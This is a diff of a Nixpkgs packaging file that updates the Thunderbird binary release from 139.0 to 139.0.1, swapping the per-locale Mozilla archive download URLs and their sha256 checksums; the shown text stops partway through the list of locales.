index 08adc6ff9b47..68e77500f2a3 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "139.0";
+  version = "139.0.1";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/af/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/af/thunderbird-139.0.1.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "84eca2a5194370d5af70f125000f479bbd7f19cce36d66f134f6fbe6b71dd2ad";
+      sha256 = "7ef065fa719bbf53cc90960e7e4447e693f9d09683ea9c08a07b1d96d1743bc9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ar/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ar/thunderbird-139.0.1.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "740956b16435fdf49ef73f98afffddc3c4c284d65abf4d4bb189c9b96d8d2da8";
+      sha256 = "1ccd6ebfec955788c16890625921bed8ff6257e6c0cb8e1d29c714d456f6f44b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ast/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ast/thunderbird-139.0.1.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "a2d4538c039bd0cbdb2ae622578342ad95bd66cd085fb3652819fb29d11a804b";
+      sha256 = "96071b6ca366486698f8c8df2fe6382f508ad060b09949be5bd90a0c0220e750";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/be/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/be/thunderbird-139.0.1.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "3581659d0c64ee37a7d96788e6b199839b508d9019650ba76e3d1f5bbe823fca";
+      sha256 = "483b03382e8424d8de2bdd0c3ef547e50229dda1bc715267a68398b1f6a76b70";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/bg/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/bg/thunderbird-139.0.1.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "3acc2e43429f193cb863a9e3e50dc15ee8232b06431cdbd499fa1ca3b1f8f219";
+      sha256 = "aaf55c20a839c19a29af4803d9638c26667122463a9e176775f5d3b11dd04a28";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/br/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/br/thunderbird-139.0.1.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "545f2d3d689579a64e3d544f3e2db970ac65e3789825e3dda07d2d5080bb3368";
+      sha256 = "90c4e7cce7a2cfeaf85e7c7dc82d9cdcac3fec6f229a03752e316127fe5a7f62";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ca/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ca/thunderbird-139.0.1.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "ea4da0f5d94de50ec09043ee6cc213ea6b9ee4545d52e9a4e8bf7715143e3b66";
+      sha256 = "9f7c08369c2e4d5ab8a0e358a9d5d58f8e08a36283abf02cdd0830df6ead0f12";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/cak/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/cak/thunderbird-139.0.1.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "a46cec03536e2862ed7c409dc5cd757094d9ca25b2df1d276ae337ef819a9d7d";
+      sha256 = "f171cc36936c7e01bfec26c75d8af603e543ee8d3bbab0df19785d7cb565a1f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/cs/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/cs/thunderbird-139.0.1.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "e3e85562e23dcfb250ac762af68469dd366d26566d8873d103c9f5700a2a9168";
+      sha256 = "713673b7f136d135a33bf5bc868ad0b8407dc897cd1396dd9d38f7dfe112cd5f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/cy/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/cy/thunderbird-139.0.1.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "1f20853442d0e559436ba42a9eb4d3a7f3afd49717c0ae23f2df7b320563e926";
+      sha256 = "7ce9780928b730d7afc91eb58205085d85e738356e9d7c3a8d42eb15a9c96c28";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/da/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/da/thunderbird-139.0.1.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "ac8b754794ae9846332dc7b23e24ca601af47a12212d83684a433ae3106bfb2e";
+      sha256 = "4b228ea6b03e8b668d5373c87083e5df09bdbdfb4e99096d7f41b3deca0a113f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/de/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/de/thunderbird-139.0.1.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "355d5916ec358587e48da147777e9ff0095e1acb05bc5a5e6f5d0aa1d6f8be43";
+      sha256 = "81d03a58340356ef8251682a26ea716675dd0efd5b6fe44d05c67ec787a4775d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/dsb/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/dsb/thunderbird-139.0.1.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "57b7b6d9cc8c85a1f818b7be457bbcbe7c38b7c97304a54e136faa68fca8762e";
+      sha256 = "3a6bffe03366be36e60b929a0c11680dd4e23e70c3fb724754352e45ffda4a52";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/el/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/el/thunderbird-139.0.1.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "576dfffd856c453621d004a37c6a7da9ab64886bf7004fa9f7565ecf4b6c3c7e";
+      sha256 = "e26e5ea129ddf0873e672d4801ab3ebc3343b3b4c4b4333bfd6b15014f056f4b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/en-CA/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/en-CA/thunderbird-139.0.1.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "7225ce6dca0ed0fa03b8d1b964cd1cdd189dc2167276c12ff7b48f1909905159";
+      sha256 = "f64a4226e56eebe7b153d6df2bd2ec2726df55d1ae5390b7ec5c1e5abdf4493f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/en-GB/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/en-GB/thunderbird-139.0.1.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "d0862a511498c99d61e5c66398ca25cd71d6298d62954fc7626b27c9c0d63bb8";
+      sha256 = "f20f525d312dc1cf137a026a9384fc1cd7b9e93bf71079b4034601a73c63f781";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/en-US/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/en-US/thunderbird-139.0.1.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "1f8514fb99dcb7bcfe12e290ca7e194f8b4b3d5c5ed246a16f4a283d2bddf691";
+      sha256 = "dedf6a79562de4206d282a5c2c6bcfa6b487b221f67205a5e1943c58207d973f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/es-AR/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/es-AR/thunderbird-139.0.1.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "6d0ad20cce34018487abd11a995d36d71a220ab8be4639048114d847712617d3";
+      sha256 = "6e5411df2be9a7060df619c431117156a0aa91cc2e502b3235897f3517dfa9d8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/es-ES/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/es-ES/thunderbird-139.0.1.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "c7d950eb70fc92efbfcca9dba10cdde664715825a68dd6459e9e13fa746e6f32";
+      sha256 = "d2f50611860bb84aa5daef5d138ec9dd19e8f7d4f911952bf7e69929b47db5ce";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/es-MX/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/es-MX/thunderbird-139.0.1.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "e424d4db1417fdda36eea5974d67216bf57a8450a90948b7abcbf9e3f7073270";
+      sha256 = "1e8613b1c305c7154eeb33a6c9df0e94d0454400a5ee0c56f4cc651b43feab65";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/et/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/et/thunderbird-139.0.1.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "7487d998475443c997dce5e5547b8cd76dc68fe2e6cc115eb2bbbe7a8ccbee70";
+      sha256 = "bed511d77ab5c8cec7ce4f39566f734eaa7524fc0c8acfa47d39e4ef02a8e334";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/eu/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/eu/thunderbird-139.0.1.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "ca41074f29861e8ef86c395029a7a57d0862687fa36bfb05ed60a724833443cc";
+      sha256 = "889231875468dcc70efb754396760a784f442c02bac0798ec2dc4af4465e0e00";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/fi/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/fi/thunderbird-139.0.1.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "1e3869b73e836112091b729eac3da06aa172d511a2f3506f82d82d6e9db17d6c";
+      sha256 = "c851f335b07df527c30bb91f0e3d23630db9f66eb777de71e82eb5b361b4f33a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/fr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/fr/thunderbird-139.0.1.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "5c3fea43f9dd66ef90595937d1d5b3fda420822d2a49691f79d2b3f578f8dba7";
+      sha256 = "2865d107f04cb96c0ce7d32fb5b011d95fef0aef857e945141e71a1667b93c59";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/fy-NL/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/fy-NL/thunderbird-139.0.1.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "910f9627e91feda9e1f98bf6348d708eb3f00574ea99ae0a30f32012b78c3b39";
+      sha256 = "49f409fe9bf8c333411cb22266cd3ce1320e185cd0ca51a185fc4003dcbce8b7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ga-IE/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ga-IE/thunderbird-139.0.1.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "35607d66b02e47257d15cab48c54c087fc5b2b905e841f9944cfda33f255ee1b";
+      sha256 = "e2013f4dec549534a69355516ba77e78a6bec2aa829f8fd3d65d324addcd21f7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/gd/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/gd/thunderbird-139.0.1.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "bea781be5d94f901bbb5fe9e94e4176944d3041385fcb943da53c12245a88385";
+      sha256 = "a9ae80efc69bf1e8ac66e727b0e55b1fc8102a6920504fc19ab3c3349eb5538e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/gl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/gl/thunderbird-139.0.1.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "a7309e0e2f3a91e31ce4ba9509fd54eb30ef42aaa82132b634ad509b8d1d0a4d";
+      sha256 = "1628ed76c9d0f2356bf343ad7d01a0519bbdc922176c89d0823083419381fe97";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/he/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/he/thunderbird-139.0.1.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "43365b9bf523a15808f300570c896c9e5bfa18e79c6a968636057dc70f71a67c";
+      sha256 = "372aa98be9ab60171732a129eb22651b78c9eef707462a10215c54df839f4bf8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hr/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hr/thunderbird-139.0.1.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "bcc5879e8945bbb394f729d17f226fccdd10ed5e72ce9b1d2e40f32be4f53132";
+      sha256 = "bcaeb2708f6ec35685a36ad842a373e17a3fe0cc4ecd3f3ff83da6b044738b24";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hsb/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hsb/thunderbird-139.0.1.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "b4e1c56febc88d1e826d1540e216d02095ebb6cef3f5e28bce77c0f076acf40b";
+      sha256 = "94d6bd4a991d0dea6776f8514700e257700a225ff0c742a3eb8367f02a59e3c8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hu/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hu/thunderbird-139.0.1.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "cba03b64d552da09345673dcd6242a2df5b20d887c6d88bdf7689eef8d305c62";
+      sha256 = "60b1b13ff2ee3f1817cfbc28f3b91e89646c2ac0b284c49c49787d50c3d6f402";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/hy-AM/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/hy-AM/thunderbird-139.0.1.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "235b500c2fe2e04efd174359bcea6fda17358aca7a43ddfeadfecff6406889f0";
+      sha256 = "e4c862e6cdb3d1ec0bbec2177b2c6e8ff1380fbc86a67a8623696bf3b42d98e1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/id/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/id/thunderbird-139.0.1.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "5c72b39ad88327245c0c6b6867f5d4fb11579a85fd251c5023750334d35da7d5";
+      sha256 = "ee6bfa08b9762a263775e0277ce073a1702cf5220f9bd3c11fa0916311ac46b7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/is/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/is/thunderbird-139.0.1.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "8e7eb286fbf0015997c9dfb5c97950f4d424b8f48b6c21e93a7d836e121e005f";
+      sha256 = "a9cd910fff3728cd03889229371843b0e82917781ff6fc08543a7ce8627d9bb5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/it/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/it/thunderbird-139.0.1.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "ad0cff4824e242de98853271b992fb5195327cb20fc792509bcd7ab8aee860dd";
+      sha256 = "ab5e8383942baff5651163634abe77e12630043043a9bdcbb94770fa9aa197f6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ja/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ja/thunderbird-139.0.1.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "c16a82cfdec8d41fae86eafd0671a9cec6aac0e5916cfc7ef920ae143ac22e16";
+      sha256 = "39ca584b1e3e9e0c9b66c76ff4ed90d74217e67eef77f52ad28875efc0eb1fd1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ka/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ka/thunderbird-139.0.1.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "0497c237996d343a3526de8343802bc1a32bed9db0e6f1c2e26736d9a48a867c";
+      sha256 = "8ca65d0cc30231cab311c69fcb5d5476a9cc8b29617b084a83a6403d73351a13";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/kab/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/kab/thunderbird-139.0.1.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "768e6a5732030fcc9603a0e21a47c87a3c4b994c991aa6c2c8d5ab83033bc692";
+      sha256 = "b1ca13cae106971b3e2870eea1f982b44097791cd3be96650a994ad3930b1c3f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/kk/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/kk/thunderbird-139.0.1.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "97644e44c041cc6fb46bba7031d22b1f4f7d2aeb5c1e5d3dc0bd6a357f2243ea";
+      sha256 = "4fc774da83dd6c3de1798f5fd80322051896e4b00e71cff4a9ed71118d72e8ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ko/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ko/thunderbird-139.0.1.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "c04f654a0fb7d1bfb1d9d5ad84692b3834aa74ff7e506ee9f5e2f3b43026897f";
+      sha256 = "841e9542be655e83ca7bb2047900553299df34a7488a48a854f4895fb5b3b987";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/lt/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/lt/thunderbird-139.0.1.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "b574c7f9048f4f32fd1144ecd581c4663d590ee4f480b5c03cbb214570a7cb9d";
+      sha256 = "212d437ef461bde05244c9a5c03ec34892338d64009b5189ec1aadac7215f83d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/lv/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/lv/thunderbird-139.0.1.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "2db4ef87a14b1a50419aaefa26dab86b223aef43f9ccf8f9fe841d4c5d53ce54";
+      sha256 = "c0c46cae2c8869a96507e43bb101d504b3aeb9b75e891ca86f8e09af6390ef78";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ms/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ms/thunderbird-139.0.1.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "c4ba0e0014eeffcaee21ecd922e3cb2490425d15eaeb3eb61a6245106fa37e08";
+      sha256 = "d3dc90b521bb031dc2f88ab6a33c7e7b8787cfa60f661c5d44353790d1f5df4d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/nb-NO/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/nb-NO/thunderbird-139.0.1.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "f816eece9ab39146c93f0c662f352d263b51e62b21b10deb9278a90df67c842c";
+      sha256 = "5a48f953c80b0eb7ed79c267a9774fc46e78c0938e898d0f5564d5bfe6e3107b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/nl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/nl/thunderbird-139.0.1.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "a023abfc21d9666e65df50d2465b6998854034503a48fa617c28f2c9535a9f28";
+      sha256 = "43a3feaa77d4deb2a5eac7e0d656c7c98c080fde67adb404840d64d637d2551a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/nn-NO/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/nn-NO/thunderbird-139.0.1.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "b4c2fe2fc8d0097e393bc0ee81668b4f19a4f507d7c2739a96d986e84facf604";
+      sha256 = "c7eaf6891abc7883a6dbfa71a8fd60ec06876312009438815130e8d5fdf76ced";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pa-IN/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pa-IN/thunderbird-139.0.1.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "75a63fccd953f4520cd8792ee9cde95266014e5faeeb43620432a3483ce3db96";
+      sha256 = "d798542672ee30e8412ec69e30c097422fefca56dc84237861c9f3034959867f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pl/thunderbird-139.0.1.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "21fb95a23574db84da3103dbf3b3bc0aa046983fe0f11e582cf080967d9aaf48";
+      sha256 = "8ac1464237e4c35d678ef33345b31dcee1ba3c93ff6f537d125df211b03fe987";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pt-BR/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pt-BR/thunderbird-139.0.1.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "af3e1ee11930cffe57ecca9977b622da7ee525168229101d94d870a4e0f78372";
+      sha256 = "4eef716bf8581ca382864efc1ffb8f8a96cf8e6d3ad3014cb9e3bdc988f6e8f2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/pt-PT/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pt-PT/thunderbird-139.0.1.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "7882d929048e9b06af3699468e2db15b82af795b02767933c84c4a0514f220e3";
+      sha256 = "3004f0317d3c4bd0cb38dbd76832e0f9d180a0e7a880c59093f5f6f00ed083a8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/rm/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/rm/thunderbird-139.0.1.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "f217b0696f1033f2af9417db6568a81a16fc76e1733e7bfb698c2a5741ca8795";
+      sha256 = "5c5b21c92b833dbbe174d733649bcd8bb58c58cbaaf7d1ce574ad45ff5b2452d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ro/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ro/thunderbird-139.0.1.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "71568029deccda0357faa339b6d843cb9d07e369923297896d4be2cfd981cf8c";
+      sha256 = "788a562eeedadd9d203ac4f3cfb35bf9910f97fa903748c3f79795101a393fc7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/ru/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ru/thunderbird-139.0.1.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "d0950d2d9cd58d8e4af6d158218b1b4d613081edab2117f4d245d15efe23ba85";
+      sha256 = "bbd187438ce46448fb2749b122ec5ddec10c5f9c4caac441190a8b995690d412";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sk/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sk/thunderbird-139.0.1.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "a844c9711775d72e7710ee9c45469037be60c1e2c431948b38b3c82e54184520";
+      sha256 = "a851f55fb22598ee01f813981712cc5cb13c5a9ca4dd24e038e93507519bde33";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sl/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sl/thunderbird-139.0.1.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "44d549a4b483201616b73c1b8cd9303d93d826535e6fb249f38f65b47d7b7373";
+      sha256 = "5a01038fb3c2f9d412d27a7daf76d07e20106638f8d818c53e0a4e1879964aa0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-x86_64/sq/thunderbird-139.0.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sq/thunderbird-139.0.1.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "58841c4cd7ed509306dbb887f747ab99a108ab702367f1a7315c2c3fc68d1d5c";
